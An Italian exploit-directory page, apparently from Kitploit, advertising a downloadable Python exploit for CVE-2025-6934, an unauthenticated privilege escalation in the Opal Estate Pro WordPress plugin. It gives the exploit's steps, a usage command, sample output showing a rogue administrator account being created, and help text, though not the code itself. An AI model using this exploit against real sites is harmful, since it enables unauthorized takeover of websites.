Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-6934 — Opal Estate Pro <= 1.7.5 - Escalation dei privilegi senza autenticazione | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2025-6934
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubnxploited/cve-2025-6934

CVE-2025-6934

Opal Estate Pro <= 1.7.5 - Escalation dei privilegi senza autenticazione

Vedi Repository
921 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🛡️ CVE-2025-6934 - Escalation dei Privilegi Non Autenticata in Opal Estate Pro

📝 Descrizione

Il plugin Opal Estate Pro – Property Management and Submission per WordPress, utilizzato dal FullHouse - Real Estate Responsive WordPress Theme, è vulnerabile all'Escalation dei Privilegi in tutte le versioni fino alla 1.7.5 inclusa.

  • ID CVE: CVE-2025-6934
  • Punteggio CVSS: 9.8 (Critico)
  • Pubblicato: 30 giugno 2025

⚙️ Informazioni sullo Script

Questo exploit Python automatizza il processo di escalation dei privilegi:

  • Verificando la versione vulnerabile del plugin tramite readme.txt.
  • Recuperando il nonce richiesto dalla pagina di registrazione.
  • Inviando una richiesta di registrazione appositamente predisposta per ottenere l'accesso come Amministratore.

🚀 Esempio di Utilizzo

root@kitploit:~
python CVE-2025-6934.py -u http://target-site.com/login-default/ -mail [email protected] -password nxp1234

📤 Output di Esempio

root@kitploit:~
[•] Plugin Version Check:
    [+] Vulnerable version detected: 1.7.5

[•] Exploit Attempt Started
    [+] Nonce Found: 70dd70630b
    [+] HTTP Status: 200

[✔] Exploit Successful!
    --------------------------
    Username : nxploitedadmin
    Email    : [email protected]
    Password : nxp1234
    Role     : administrator
    --------------------------

Exploit By: Khaled_alenazi (Nxploited) | https://github.com/Nxploited

🛠️ Argomenti e Aiuto

root@kitploit:~
usage: CVE-2025-6934.py [-h] -u URL -mail NEWMAIL -password NEWPASSWORD

CVE-2025-6934 Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help              show this help message and exit
  -u, --url URL           Target URL (e.g., http://site.com/path/)
  -mail, --newmail NEWMAIL
                          Email to register as admin
  -password, --newpassword NEWPASSWORD
                          Password for new admin user

⚠️ Dichiarazione di non responsabilità

Questo script è destinato esclusivamente a fini educativi e di test di sicurezza autorizzati.
L'uso non autorizzato di questo strumento contro target senza consenso è severamente vietato.

Di: Khaled_alenazi (Nxploited)

Scarica lo strumento